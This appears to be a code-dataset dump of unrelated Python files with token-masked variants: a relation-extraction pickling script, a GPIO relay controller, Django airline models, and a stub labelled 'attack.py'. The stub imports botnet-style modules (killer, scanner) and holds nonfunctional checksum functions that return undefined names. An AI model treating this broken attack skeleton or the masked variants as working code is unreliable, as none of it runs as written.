corresponding keys in input labels_dict with a list of tokens representing the label\\n\n It also updates the \"thresholded\" 'str2IdPruned' and 'id2StrPruneddictionaries'\n .. seealso:: :funct:`read_examples`\\nTypically, the input raw features data structure is generated by the above function.\\n\n :param raw_features_struct: the input raw features data structure read from a tab separated file\\n\n A list of lists with each inner list following the below decoder_type for 'getCleanFeatures':\n\n * feats[0] : counter\n * feats[1] : dependency parsing <-, ->, ...\n * feats[2] : entity 1 (eg java engineer)\n * feats[3] : entity 2 (eg software engineer)\n * feats[4] : entity-types-pair (eg JOBTITLE-JOBTITLE)\n * feats[5] : trigger (eg TRIGGER:is)\n * feats[6] : document path\n * feats[7] : whole sentence\n * feats[8] : sequence of pos tags between e1, e2 (exclusive)\n * feats[9] : given label for semantic relation/class\n * info = [feats[1], feats[4], feats[5], feats[7], feats[8], feats[6]]\n\n :type raw_features_struct: list of lists of strings\n :param lexicon: the dictionary \"pruned\" mappings are updated\n :type lexicon: FeatureLexicon\n :param examples_list: the list to populate with generated objects of type definitions.OieExample\n :type examples_list: list\n :param labels_dict: the dictionary to update the values with the read relation labels_dict (encoded as a list of tokens).\n :type labels_dict: dict example ID (int) => goldstandard label (list of tokens/strings)\n :param threshold: feature has to be found at least 'threshold' number of times\n :type threshold: int\n \"\"\"\n start = time.clock()\n print \"Creating training examples and putting into list structure...\"\n index = 0\n for i, feats in enumerate(raw_features_struct): # a list of lists of strings [[0, f1, f2, .., f9], [1, ..], .., [N, ..]]\n feat_ids = get_thresholded_features(lexicon, feat_extractors,\n [feats[1], feats[4], feats[5], feats[7], feats[8], feats[6]], feats[2], feats[3], expand=True,\n threshold=threshold)\n example = OieExample(feats[2], feats[3], feat_ids, feats[5], relation=feats[9])\n labels_dict[index] = feats[-1].strip().split(' ')\n index += 1\n examples_list.append(example)\n print ' Unique thresholded feature keys: {}'.format(lexicon.nextIdPruned)\n print ' Done in {:.1f} sec'.format(time.clock() - start)\n\n\ndef pickle_objects(feat_extrs, feat_lex, dataset_splits, goldstandard_splits, a_file):\n \"\"\"Pickles the input objects in the specified file.\n\n :param feat_extrs: feature extractors\n :type feat_extrs: list of callable objects\n :param feat_lex: indexed feature values extracted from mined sentences\n :type feat_lex: FeatureLexicon\n :param dataset_splits: the collection of sentences split into 'train', 'test', 'valid' sets. Maps splits to examples\n :type dataset_splits: dict; str {'train', 'test', 'valid'} => list (of instances of definitions.OieExample)\n :param goldstandard_splits: the true relation labels. Maps splits {'train', 'test', 'valid'} to example-label mappings\n :type goldstandard_splits: dict; str {'train', 'test', 'valid'} => dict (int => list). List holds the tokens (strings) representing the label for the example int ID\n :param a_file: the target file to pickle the objects to\n :type a_file: str\n \"\"\"\n start = time.time()\n print 'Pickling feature extraction functions, feature lexicon, dataset_splits batch examples and goldstandard_splits labels...'\n assert type(feat_extrs) == list, 'Expected a list of callables as the 1st object to be pickled'\n for _ in feat_extrs:\n assert callable(_) is True, 'Element {} of 1st object is not callable'.format(_)\n assert isinstance(feat_lex, FeatureLexicon), \"Expected an instance of FeatureLexicon as the 2nd object to be pickled. Got '{}' instead\".format(type(feat_lex))\n assert type(dataset_splits) == dict, 'Expected a dict as the 3rd object to be pickled'\n for _ in dataset_splits:\n assert _ in ['train', 'test', 'valid'], \"The dict expected as the 3rd object to be pickled, has key '{}' not in ['train', 'test', 'valid']\".format(_)\n assert type(goldstandard_splits) == dict, 'Expected a dict as the 4th object to be pickled'\n for _ in goldstandard_splits:\n assert _ in ['train', 'test', 'valid'], \"The dict expected as the 4th object to be pickled, has key '{}' not in ['train', 'test', 'valid']\".format(_)\n with open(a_file, 'wb') as pkl_file:\n pickle.dump(feat_extrs, pkl_file, protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(feat_lex, pkl_file, protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(dataset_splits, pkl_file, protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(goldstandard_splits, pkl_file, protocol=pickle.HIGHEST_PROTOCOL)\n print ' Done in {:.2f} sec'.format(time.time() - start)\n\n\ndef unpickle_objects(a_file, verbose=False, debug=False):\n \"\"\"\n Unpickles the input file and returns references to the retrieved objects. Objects are assumed to have been pickled in the below order:\\n\n * list: its elements are callable objects representing feature extrating functions\n * FeatureLexicon: holds the 5 dictionaries (mapping IDs, features (strings) and triggering frequencies), built from the mined sentences\n * dict: has keys 'train', 'test', 'dev' each mapping to a list of instances of type definitions.OieExample\n * dict: has keys 'train', 'test', 'dev' each mapping to a dict mapping integers (IDs) to lists of tokens. Each list can have one or more string tokens representing the relation label\\n\n :param a_file: file containing pickled objects\n :type a_file: str\n :param verbose: prints informative messages\n :type verbose: bool\n :param debug: if true prints the type of each object loaded\n :type debug: bool\n :return: references to the unpickled objects\n :rtype: list, FeatureLexicon, dict, dict\n \"\"\"\n start = time.time()\n with open(a_file, 'rb') as pkl_file:\n if verbose:\n print \"Opened pickled file '{}'\".format(a_file)\n feature_extraction_functions = pickle.load(pkl_file)\n if debug:\n print \"Loaded object of type '{}'\".format(type(feature_extraction_functions).__name__)\n assert type(feature_extraction_functions) == list\n the_relation_lexicon = pickle.load(pkl_file)\n if debug:\n print \"Loaded object of type '{}'\".format(type(the_relation_lexicon).__name__)\n assert isinstance(the_relation_lexicon, FeatureLexicon), \"Expected an instance of FeatureLexicon as the 2nd object to be pickled. Got '{}' instead\".format(type(the_relation_lexicon))\n the_dataset = pickle.load(pkl_file)\n if debug:\n print \"Loaded object of type '{}'\".format(type(the_dataset).__name__)\n assert type(the_dataset) == dict\n the_goldstandard = pickle.load(pkl_file)\n if debug:\n print \"Loaded object of type '{}'\".format(type(the_goldstandard).__name__)\n assert type(the_goldstandard) == dict\n if verbose:\n print ' loaded feature extractors:', ', '.join((\"'\" + str(_.__name__) + \"'\" for _ in feature_extraction_functions))\n print ' loaded dataset with {} splits'.format(', '.join((\"'\" + _ + \"'\" for _ in the_dataset.iterkeys())))\n print 'Done in {:.2f} sec'.format(time.time() - start)\n return feature_extraction_functions, the_relation_lexicon, the_dataset, the_goldstandard\n\n\ndef get_cmd_arguments():\n myparser = argparse.ArgumentParser(description='Processes an Oie file and add its representations to a Python pickled file.')\n myparser.add_argument('input_file', metavar='input-file', help='input file in the Yao format, like data-sample.txt')\n myparser.add_argument('pickled_dataset', metavar='pickled-dataset', help='pickle file to be used to store output (created if empty)')\n myparser.add_argument('--batch', metavar='batch-name', default=\"train\", nargs=\"?\", help=\"name used as a reference in the pickled file, default is 'train'\")\n myparser.add_argument('--thres', metavar='threshold-value', default=\"0\", nargs=\"?\", type=int, help='minimum feature frequency')\n myparser.add_argument('--test-mode', action='store_true', help='used for test files. If true the feature space is not expanded, so that previously unseen features are not added to the dicts')\n return myparser.parse_args()\n\n\nif __name__ == '__main__':\n t_start = time.time()\n args = get_cmd_arguments()\n\n # reads the tabbed separated file into a list of lists of strings, representing extracted features\n exs_raw_features = read_examples(args.input_file)\n\n feat_extractors = OieFeatures.getBasicCleanFeatures() # list of callable feature extraction functions\n relation_lexicon = FeatureLexicon()\n dataset = {} # dict mapping keys 'train', 'test', 'dev' to a list of OieExample instances\n\n # dict mapping each key 'train', 'test', 'dev' to a dictionary mapping int to a list of strings, representing goldstandard relation labels\n # each inner list contains the tokens that comprise the label (i.e. ['is-a']). Most are expected to have a single token.\n goldstandard = {}\n\n if os.path.exists(args.pickled_dataset): # if found pickled objects, else pickle into new file\n feat_extractors, relation_lexicon, dataset, goldstandard = unpickle_objects(args.pickled_dataset)\n\n examples = [] # list of instances of definitions.OieExample\n relation_labels = {} # dictionary mapping int to list of strings\n\n if args.batch in dataset:\n examples = dataset[args.batch] # list of OieExamples for the 'batch_name' input split of the dataset\n # dict with the goldstandard labels (lists of token(s)) for the 'batch_name' input split of the dataset\n relation_labels = goldstandard[args.batch]\n else:\n # insert the input batch name as a key in the 'dataset' dict, mapping to an empty list (for now)\n dataset[args.batch] = examples\n # insert the input batch name as a key in the 'goldstandard' dict, mapping to an empty dict (for now)\n goldstandard[args.batch] = relation_labels\n\n # update statistics and mappings for given split\n build_feature_lexicon(exs_raw_features, feat_extractors, relation_lexicon)\n\n # update the dataset split and goldstandard mappings with the thresholded extractions\n load_features(exs_raw_features, relation_lexicon, examples, relation_labels, args.thres)\n\n pickle_objects(feat_extractors, relation_lexicon, dataset, goldstandard, args.pickled_dataset)\n" ]
true
403
d82412055affc96d634957c953a35ea69b7e702f
'''Turning on or off, toggling and checking the status' of a specific relay''' #!/bin/env python3 from time import sleep from gpiozero import LED RELAYS = [ LED(23), LED(24), LED(25), LED(8), LED(7), LED(1), LED(12), LED(16) ] def on_action(relay_option, number): '''To turn on the chosen relay''' relay_option.on() print(f"relay {number} is turning on") def off_action(relay_option, number): '''To turn off the chosen relay''' relay_option.off() print(f"relay {number} is turning off") def toggle_action(relay_option, number): '''To toggle the chosen relay''' print(f"relay {number} is toggling") relay_option.on() sleep(0.5) relay_option.off() sleep(0.5) def print_help(): '''Print/show help for informations of the required parameter''' print(''' Description Arguments: number number of relay 1 to 8 action on, off, or toggle optional arguments: h show this help message and exit ''') def options(): '''Input the relay number or show help and check the input''' input_str = input("Which relay? ") while True: if input_str == 'h': print_help() return index = int(input_str) - 1 if 0 <= index <= 7: relay_status(RELAYS[index], input_str) relay_action(RELAYS[index], input_str) relay_status(RELAYS[index], input_str) return else: print("index out of range") return def relay_action(relay_number, num): '''Do the given order(turn on, turn off, toggle) or raise error''' action = input("Which action? ") while True: try: return { 'on': on_action, 'off': off_action, 'toggle': toggle_action }[action](relay_number, num) except KeyError: print("Try again") return relay_action(relay_number, num) def relay_status(relay_number, number): '''Check initial relay's status''' if relay_number.value == 1: print(f"relay {number} is on") else: print(f"relay {number} is off") while True: options() sleep(1)
[ "'''Turning on or off, toggling and checking the status' of a specific relay'''\n\n#!/bin/env python3\n\nfrom time import sleep\nfrom gpiozero import LED\n\nRELAYS = [\n LED(23),\n LED(24),\n LED(25),\n LED(8),\n LED(7),\n LED(1),\n LED(12),\n LED(16)\n]\n\n\ndef on_action(relay_option, number):\n '''To turn on the chosen relay'''\n relay_option.on()\n print(f\"relay {number} is turning on\")\n\n\ndef off_action(relay_option, number):\n '''To turn off the chosen relay'''\n relay_option.off()\n print(f\"relay {number} is turning off\")\n\n\ndef toggle_action(relay_option, number):\n '''To toggle the chosen relay'''\n print(f\"relay {number} is toggling\")\n relay_option.on()\n sleep(0.5)\n relay_option.off()\n sleep(0.5)\n\n\ndef print_help():\n '''Print/show help for informations of the required parameter'''\n print('''\nDescription\n\nArguments:\n number number of relay 1 to 8\n action on, off, or toggle\n\noptional arguments:\n h show this help message and exit\n ''')\n\n\ndef options():\n '''Input the relay number or show help and check the input'''\n input_str = input(\"Which relay? \")\n while True:\n if input_str == 'h':\n print_help()\n return\n\n index = int(input_str) - 1\n if 0 <= index <= 7:\n relay_status(RELAYS[index], input_str)\n relay_action(RELAYS[index], input_str)\n relay_status(RELAYS[index], input_str)\n return\n else:\n print(\"index out of range\")\n return\n\n\ndef relay_action(relay_number, num):\n '''Do the given order(turn on, turn off, toggle) or raise error'''\n action = input(\"Which action? \")\n while True:\n\n try:\n return {\n 'on': on_action,\n 'off': off_action,\n 'toggle': toggle_action\n }[action](relay_number, num)\n except KeyError:\n print(\"Try again\")\n return relay_action(relay_number, num)\n\n\ndef relay_status(relay_number, number):\n '''Check initial relay's status'''\n if relay_number.value == 1:\n print(f\"relay {number} is on\")\n else:\n print(f\"relay {number} is off\")\n\n\nwhile True:\n options()\n sleep(1)\n", "<docstring token>\nfrom time import sleep\nfrom gpiozero import LED\nRELAYS = [LED(23), LED(24), LED(25), LED(8), LED(7), LED(1), LED(12), LED(16)]\n\n\ndef on_action(relay_option, number):\n \"\"\"To turn on the chosen relay\"\"\"\n relay_option.on()\n print(f'relay {number} is turning on')\n\n\ndef off_action(relay_option, number):\n \"\"\"To turn off the chosen relay\"\"\"\n relay_option.off()\n print(f'relay {number} is turning off')\n\n\ndef toggle_action(relay_option, number):\n \"\"\"To toggle the chosen relay\"\"\"\n print(f'relay {number} is toggling')\n relay_option.on()\n sleep(0.5)\n relay_option.off()\n sleep(0.5)\n\n\ndef print_help():\n \"\"\"Print/show help for informations of the required parameter\"\"\"\n print(\n \"\"\"\nDescription\n\nArguments:\n number number of relay 1 to 8\n action on, off, or toggle\n\noptional arguments:\n h show this help message and exit\n \"\"\"\n )\n\n\ndef options():\n \"\"\"Input the relay number or show help and check the input\"\"\"\n input_str = input('Which relay? ')\n while True:\n if input_str == 'h':\n print_help()\n return\n index = int(input_str) - 1\n if 0 <= index <= 7:\n relay_status(RELAYS[index], input_str)\n relay_action(RELAYS[index], input_str)\n relay_status(RELAYS[index], input_str)\n return\n else:\n print('index out of range')\n return\n\n\ndef relay_action(relay_number, num):\n \"\"\"Do the given order(turn on, turn off, toggle) or raise error\"\"\"\n action = input('Which action? ')\n while True:\n try:\n return {'on': on_action, 'off': off_action, 'toggle': toggle_action\n }[action](relay_number, num)\n except KeyError:\n print('Try again')\n return relay_action(relay_number, num)\n\n\ndef relay_status(relay_number, number):\n \"\"\"Check initial relay's status\"\"\"\n if relay_number.value == 1:\n print(f'relay {number} is on')\n else:\n print(f'relay {number} is off')\n\n\nwhile True:\n options()\n sleep(1)\n", "<docstring token>\n<import token>\nRELAYS = [LED(23), LED(24), LED(25), LED(8), LED(7), LED(1), LED(12), LED(16)]\n\n\ndef on_action(relay_option, number):\n \"\"\"To turn on the chosen relay\"\"\"\n relay_option.on()\n print(f'relay {number} is turning on')\n\n\ndef off_action(relay_option, number):\n \"\"\"To turn off the chosen relay\"\"\"\n relay_option.off()\n print(f'relay {number} is turning off')\n\n\ndef toggle_action(relay_option, number):\n \"\"\"To toggle the chosen relay\"\"\"\n print(f'relay {number} is toggling')\n relay_option.on()\n sleep(0.5)\n relay_option.off()\n sleep(0.5)\n\n\ndef print_help():\n \"\"\"Print/show help for informations of the required parameter\"\"\"\n print(\n \"\"\"\nDescription\n\nArguments:\n number number of relay 1 to 8\n action on, off, or toggle\n\noptional arguments:\n h show this help message and exit\n \"\"\"\n )\n\n\ndef options():\n \"\"\"Input the relay number or show help and check the input\"\"\"\n input_str = input('Which relay? ')\n while True:\n if input_str == 'h':\n print_help()\n return\n index = int(input_str) - 1\n if 0 <= index <= 7:\n relay_status(RELAYS[index], input_str)\n relay_action(RELAYS[index], input_str)\n relay_status(RELAYS[index], input_str)\n return\n else:\n print('index out of range')\n return\n\n\ndef relay_action(relay_number, num):\n \"\"\"Do the given order(turn on, turn off, toggle) or raise error\"\"\"\n action = input('Which action? ')\n while True:\n try:\n return {'on': on_action, 'off': off_action, 'toggle': toggle_action\n }[action](relay_number, num)\n except KeyError:\n print('Try again')\n return relay_action(relay_number, num)\n\n\ndef relay_status(relay_number, number):\n \"\"\"Check initial relay's status\"\"\"\n if relay_number.value == 1:\n print(f'relay {number} is on')\n else:\n print(f'relay {number} is off')\n\n\nwhile True:\n options()\n sleep(1)\n", "<docstring token>\n<import token>\n<assignment token>\n\n\ndef on_action(relay_option, number):\n \"\"\"To turn on the chosen relay\"\"\"\n relay_option.on()\n print(f'relay {number} is turning on')\n\n\ndef off_action(relay_option, number):\n \"\"\"To turn off the chosen relay\"\"\"\n relay_option.off()\n print(f'relay {number} is turning off')\n\n\ndef toggle_action(relay_option, number):\n \"\"\"To toggle the chosen relay\"\"\"\n print(f'relay {number} is toggling')\n relay_option.on()\n sleep(0.5)\n relay_option.off()\n sleep(0.5)\n\n\ndef print_help():\n \"\"\"Print/show help for informations of the required parameter\"\"\"\n print(\n \"\"\"\nDescription\n\nArguments:\n number number of relay 1 to 8\n action on, off, or toggle\n\noptional arguments:\n h show this help message and exit\n \"\"\"\n )\n\n\ndef options():\n \"\"\"Input the relay number or show help and check the input\"\"\"\n input_str = input('Which relay? ')\n while True:\n if input_str == 'h':\n print_help()\n return\n index = int(input_str) - 1\n if 0 <= index <= 7:\n relay_status(RELAYS[index], input_str)\n relay_action(RELAYS[index], input_str)\n relay_status(RELAYS[index], input_str)\n return\n else:\n print('index out of range')\n return\n\n\ndef relay_action(relay_number, num):\n \"\"\"Do the given order(turn on, turn off, toggle) or raise error\"\"\"\n action = input('Which action? ')\n while True:\n try:\n return {'on': on_action, 'off': off_action, 'toggle': toggle_action\n }[action](relay_number, num)\n except KeyError:\n print('Try again')\n return relay_action(relay_number, num)\n\n\ndef relay_status(relay_number, number):\n \"\"\"Check initial relay's status\"\"\"\n if relay_number.value == 1:\n print(f'relay {number} is on')\n else:\n print(f'relay {number} is off')\n\n\nwhile True:\n options()\n sleep(1)\n", "<docstring token>\n<import token>\n<assignment token>\n\n\ndef on_action(relay_option, number):\n \"\"\"To turn on the chosen relay\"\"\"\n relay_option.on()\n print(f'relay {number} is turning on')\n\n\ndef off_action(relay_option, number):\n \"\"\"To turn off the chosen relay\"\"\"\n relay_option.off()\n print(f'relay {number} is turning off')\n\n\ndef toggle_action(relay_option, number):\n \"\"\"To toggle the chosen relay\"\"\"\n print(f'relay {number} is toggling')\n relay_option.on()\n sleep(0.5)\n relay_option.off()\n sleep(0.5)\n\n\ndef print_help():\n \"\"\"Print/show help for informations of the required parameter\"\"\"\n print(\n \"\"\"\nDescription\n\nArguments:\n number number of relay 1 to 8\n action on, off, or toggle\n\noptional arguments:\n h show this help message and exit\n \"\"\"\n )\n\n\ndef options():\n \"\"\"Input the relay number or show help and check the input\"\"\"\n input_str = input('Which relay? ')\n while True:\n if input_str == 'h':\n print_help()\n return\n index = int(input_str) - 1\n if 0 <= index <= 7:\n relay_status(RELAYS[index], input_str)\n relay_action(RELAYS[index], input_str)\n relay_status(RELAYS[index], input_str)\n return\n else:\n print('index out of range')\n return\n\n\ndef relay_action(relay_number, num):\n \"\"\"Do the given order(turn on, turn off, toggle) or raise error\"\"\"\n action = input('Which action? ')\n while True:\n try:\n return {'on': on_action, 'off': off_action, 'toggle': toggle_action\n }[action](relay_number, num)\n except KeyError:\n print('Try again')\n return relay_action(relay_number, num)\n\n\ndef relay_status(relay_number, number):\n \"\"\"Check initial relay's status\"\"\"\n if relay_number.value == 1:\n print(f'relay {number} is on')\n else:\n print(f'relay {number} is off')\n\n\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n\n\ndef on_action(relay_option, number):\n \"\"\"To turn on the chosen relay\"\"\"\n relay_option.on()\n print(f'relay {number} is turning on')\n\n\ndef off_action(relay_option, number):\n \"\"\"To turn off the chosen relay\"\"\"\n relay_option.off()\n print(f'relay {number} is turning off')\n\n\ndef toggle_action(relay_option, number):\n \"\"\"To toggle the chosen relay\"\"\"\n print(f'relay {number} is toggling')\n relay_option.on()\n sleep(0.5)\n relay_option.off()\n sleep(0.5)\n\n\ndef print_help():\n \"\"\"Print/show help for informations of the required parameter\"\"\"\n print(\n \"\"\"\nDescription\n\nArguments:\n number number of relay 1 to 8\n action on, off, or toggle\n\noptional arguments:\n h show this help message and exit\n \"\"\"\n )\n\n\ndef options():\n \"\"\"Input the relay number or show help and check the input\"\"\"\n input_str = input('Which relay? ')\n while True:\n if input_str == 'h':\n print_help()\n return\n index = int(input_str) - 1\n if 0 <= index <= 7:\n relay_status(RELAYS[index], input_str)\n relay_action(RELAYS[index], input_str)\n relay_status(RELAYS[index], input_str)\n return\n else:\n print('index out of range')\n return\n\n\n<function token>\n\n\ndef relay_status(relay_number, number):\n \"\"\"Check initial relay's status\"\"\"\n if relay_number.value == 1:\n print(f'relay {number} is on')\n else:\n print(f'relay {number} is off')\n\n\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n\n\ndef on_action(relay_option, number):\n \"\"\"To turn on the chosen relay\"\"\"\n relay_option.on()\n print(f'relay {number} is turning on')\n\n\n<function token>\n\n\ndef toggle_action(relay_option, number):\n \"\"\"To toggle the chosen relay\"\"\"\n print(f'relay {number} is toggling')\n relay_option.on()\n sleep(0.5)\n relay_option.off()\n sleep(0.5)\n\n\ndef print_help():\n \"\"\"Print/show help for informations of the required parameter\"\"\"\n print(\n \"\"\"\nDescription\n\nArguments:\n number number of relay 1 to 8\n action on, off, or toggle\n\noptional arguments:\n h show this help message and exit\n \"\"\"\n )\n\n\ndef options():\n \"\"\"Input the relay number or show help and check the input\"\"\"\n input_str = input('Which relay? ')\n while True:\n if input_str == 'h':\n print_help()\n return\n index = int(input_str) - 1\n if 0 <= index <= 7:\n relay_status(RELAYS[index], input_str)\n relay_action(RELAYS[index], input_str)\n relay_status(RELAYS[index], input_str)\n return\n else:\n print('index out of range')\n return\n\n\n<function token>\n\n\ndef relay_status(relay_number, number):\n \"\"\"Check initial relay's status\"\"\"\n if relay_number.value == 1:\n print(f'relay {number} is on')\n else:\n print(f'relay {number} is off')\n\n\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n\n\ndef on_action(relay_option, number):\n \"\"\"To turn on the chosen relay\"\"\"\n relay_option.on()\n print(f'relay {number} is turning on')\n\n\n<function token>\n<function token>\n\n\ndef print_help():\n \"\"\"Print/show help for informations of the required parameter\"\"\"\n print(\n \"\"\"\nDescription\n\nArguments:\n number number of relay 1 to 8\n action on, off, or toggle\n\noptional arguments:\n h show this help message and exit\n \"\"\"\n )\n\n\ndef options():\n \"\"\"Input the relay number or show help and check the input\"\"\"\n input_str = input('Which relay? ')\n while True:\n if input_str == 'h':\n print_help()\n return\n index = int(input_str) - 1\n if 0 <= index <= 7:\n relay_status(RELAYS[index], input_str)\n relay_action(RELAYS[index], input_str)\n relay_status(RELAYS[index], input_str)\n return\n else:\n print('index out of range')\n return\n\n\n<function token>\n\n\ndef relay_status(relay_number, number):\n \"\"\"Check initial relay's status\"\"\"\n if relay_number.value == 1:\n print(f'relay {number} is on')\n else:\n print(f'relay {number} is off')\n\n\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef print_help():\n \"\"\"Print/show help for informations of the required parameter\"\"\"\n print(\n \"\"\"\nDescription\n\nArguments:\n number number of relay 1 to 8\n action on, off, or toggle\n\noptional arguments:\n h show this help message and exit\n \"\"\"\n )\n\n\ndef options():\n \"\"\"Input the relay number or show help and check the input\"\"\"\n input_str = input('Which relay? ')\n while True:\n if input_str == 'h':\n print_help()\n return\n index = int(input_str) - 1\n if 0 <= index <= 7:\n relay_status(RELAYS[index], input_str)\n relay_action(RELAYS[index], input_str)\n relay_status(RELAYS[index], input_str)\n return\n else:\n print('index out of range')\n return\n\n\n<function token>\n\n\ndef relay_status(relay_number, number):\n \"\"\"Check initial relay's status\"\"\"\n if relay_number.value == 1:\n print(f'relay {number} is on')\n else:\n print(f'relay {number} is off')\n\n\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef print_help():\n \"\"\"Print/show help for informations of the required parameter\"\"\"\n print(\n \"\"\"\nDescription\n\nArguments:\n number number of relay 1 to 8\n action on, off, or toggle\n\noptional arguments:\n h show this help message and exit\n \"\"\"\n )\n\n\ndef options():\n \"\"\"Input the relay number or show help and check the input\"\"\"\n input_str = input('Which relay? ')\n while True:\n if input_str == 'h':\n print_help()\n return\n index = int(input_str) - 1\n if 0 <= index <= 7:\n relay_status(RELAYS[index], input_str)\n relay_action(RELAYS[index], input_str)\n relay_status(RELAYS[index], input_str)\n return\n else:\n print('index out of range')\n return\n\n\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef print_help():\n \"\"\"Print/show help for informations of the required parameter\"\"\"\n print(\n \"\"\"\nDescription\n\nArguments:\n number number of relay 1 to 8\n action on, off, or toggle\n\noptional arguments:\n h show this help message and exit\n \"\"\"\n )\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
404
862b529741d9c3e6cf7ca50272c8af724c56ac62
from wasserstoff.wasserstoff import Config, Environment __all__ = ['Config', 'Environment']
[ "from wasserstoff.wasserstoff import Config, Environment\n\n__all__ = ['Config', 'Environment']\n", "from wasserstoff.wasserstoff import Config, Environment\n__all__ = ['Config', 'Environment']\n", "<import token>\n__all__ = ['Config', 'Environment']\n", "<import token>\n<assignment token>\n" ]
false
405
6d25b0fedf0d5081a3a0a93ddacc49748464d9d0
# Required python libraries for attack.py import socket import os import sys from termcolor import colored import StringIO import time # need to find Python equivalent libraries for these import stdio import stdlib import unistd # need to find Python equivalent libraries for these import includes import killer import main import protocol import rand import resolv import scanner import table import util def checksum_tcp_udp(ip_header, buffer_name, data_length, lenth): return sum_checksum_tcp_udp def checksum_generic(address, count): return sum_checksum_generic
[ "# Required python libraries for attack.py\nimport socket\nimport os\nimport sys\nfrom termcolor import colored\nimport StringIO\nimport time\n\n# need to find Python equivalent libraries for these\n\nimport stdio\nimport stdlib\nimport unistd\n# need to find Python equivalent libraries for these\n\nimport includes\nimport killer\nimport main\nimport protocol\nimport rand\nimport resolv\nimport scanner\nimport table\nimport util\n\ndef checksum_tcp_udp(ip_header, buffer_name, data_length, lenth):\n return sum_checksum_tcp_udp\n\ndef checksum_generic(address, count):\n return sum_checksum_generic\n", "import socket\nimport os\nimport sys\nfrom termcolor import colored\nimport StringIO\nimport time\nimport stdio\nimport stdlib\nimport unistd\nimport includes\nimport killer\nimport main\nimport protocol\nimport rand\nimport resolv\nimport scanner\nimport table\nimport util\n\n\ndef checksum_tcp_udp(ip_header, buffer_name, data_length, lenth):\n return sum_checksum_tcp_udp\n\n\ndef checksum_generic(address, count):\n return sum_checksum_generic\n", "<import token>\n\n\ndef checksum_tcp_udp(ip_header, buffer_name, data_length, lenth):\n return sum_checksum_tcp_udp\n\n\ndef checksum_generic(address, count):\n return sum_checksum_generic\n", "<import token>\n<function token>\n\n\ndef checksum_generic(address, count):\n return sum_checksum_generic\n", "<import token>\n<function token>\n<function token>\n" ]
false
406
e57b30a7a1cf987918abfb3cb7d612bdead2ddcd
from django.db import models # Create your models here. class Airlines(models.Model): flight_number=models.CharField(max_length=8,unique=True) airlines_id=models.CharField(max_length=10) source=models.CharField(max_length=20) destination=models.CharField(max_length=20) departure=models.TimeField() arrival=models.TimeField() base_price=models.DecimalField(decimal_places=2,max_digits=10) def __str__(self): return self.flight_number class Users(models.Model): user_id=models.CharField(max_length=16) email=models.EmailField(max_length=50,unique=True) password=models.CharField(max_length=20) phone_number=models.IntegerField() gender=models.CharField(max_length=10) def __str__(self): return self.email class Bookings(models.Model): booking_id=models.AutoField(primary_key=True) email=models.ForeignKey(Users,on_delete=models.CASCADE) flight_num=models.ForeignKey(Airlines,on_delete=models.CASCADE,default='00000',editable=True)
[ "from django.db import models\n\n# Create your models here.\nclass Airlines(models.Model):\n\tflight_number=models.CharField(max_length=8,unique=True)\n\tairlines_id=models.CharField(max_length=10)\n\tsource=models.CharField(max_length=20)\n\tdestination=models.CharField(max_length=20)\n\tdeparture=models.TimeField()\n\tarrival=models.TimeField()\n\tbase_price=models.DecimalField(decimal_places=2,max_digits=10)\n\n\tdef __str__(self):\n\t\treturn self.flight_number\n\nclass Users(models.Model):\n\tuser_id=models.CharField(max_length=16)\n\temail=models.EmailField(max_length=50,unique=True)\n\tpassword=models.CharField(max_length=20)\n\tphone_number=models.IntegerField()\n\tgender=models.CharField(max_length=10)\n\tdef __str__(self):\n\t\treturn self.email\n\nclass Bookings(models.Model):\n\tbooking_id=models.AutoField(primary_key=True)\n\temail=models.ForeignKey(Users,on_delete=models.CASCADE)\n\tflight_num=models.ForeignKey(Airlines,on_delete=models.CASCADE,default='00000',editable=True)\n\n", "from django.db import models\n\n\nclass Airlines(models.Model):\n flight_number = models.CharField(max_length=8, unique=True)\n airlines_id = models.CharField(max_length=10)\n source = models.CharField(max_length=20)\n destination = models.CharField(max_length=20)\n departure = models.TimeField()\n arrival = models.TimeField()\n base_price = models.DecimalField(decimal_places=2, max_digits=10)\n\n def __str__(self):\n return self.flight_number\n\n\nclass Users(models.Model):\n user_id = models.CharField(max_length=16)\n email = models.EmailField(max_length=50, unique=True)\n password = models.CharField(max_length=20)\n phone_number = models.IntegerField()\n gender = models.CharField(max_length=10)\n\n def __str__(self):\n return self.email\n\n\nclass Bookings(models.Model):\n booking_id = models.AutoField(primary_key=True)\n email = models.ForeignKey(Users, on_delete=models.CASCADE)\n flight_num = models.ForeignKey(Airlines, on_delete=models.CASCADE,\n default='00000', editable=True)\n", "<import token>\n\n\nclass Airlines(models.Model):\n flight_number = models.CharField(max_length=8, unique=True)\n airlines_id = models.CharField(max_length=10)\n source = models.CharField(max_length=20)\n destination = models.CharField(max_length=20)\n departure = models.TimeField()\n arrival = models.TimeField()\n base_price = models.DecimalField(decimal_places=2, max_digits=10)\n\n def __str__(self):\n return self.flight_number\n\n\nclass Users(models.Model):\n user_id = models.CharField(max_length=16)\n email = models.EmailField(max_length=50, unique=True)\n password = models.CharField(max_length=20)\n phone_number = models.IntegerField()\n gender = models.CharField(max_length=10)\n\n def __str__(self):\n return self.email\n\n\nclass Bookings(models.Model):\n booking_id = models.AutoField(primary_key=True)\n email = models.ForeignKey(Users, on_delete=models.CASCADE)\n flight_num = models.ForeignKey(Airlines, on_delete=models.CASCADE,\n default='00000', editable=True)\n", "<import token>\n\n\nclass Airlines(models.Model):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def __str__(self):\n return self.flight_number\n\n\nclass Users(models.Model):\n user_id = models.CharField(max_length=16)\n email = models.EmailField(max_length=50, unique=True)\n password = models.CharField(max_length=20)\n phone_number = models.IntegerField()\n gender = models.CharField(max_length=10)\n\n def __str__(self):\n return self.email\n\n\nclass 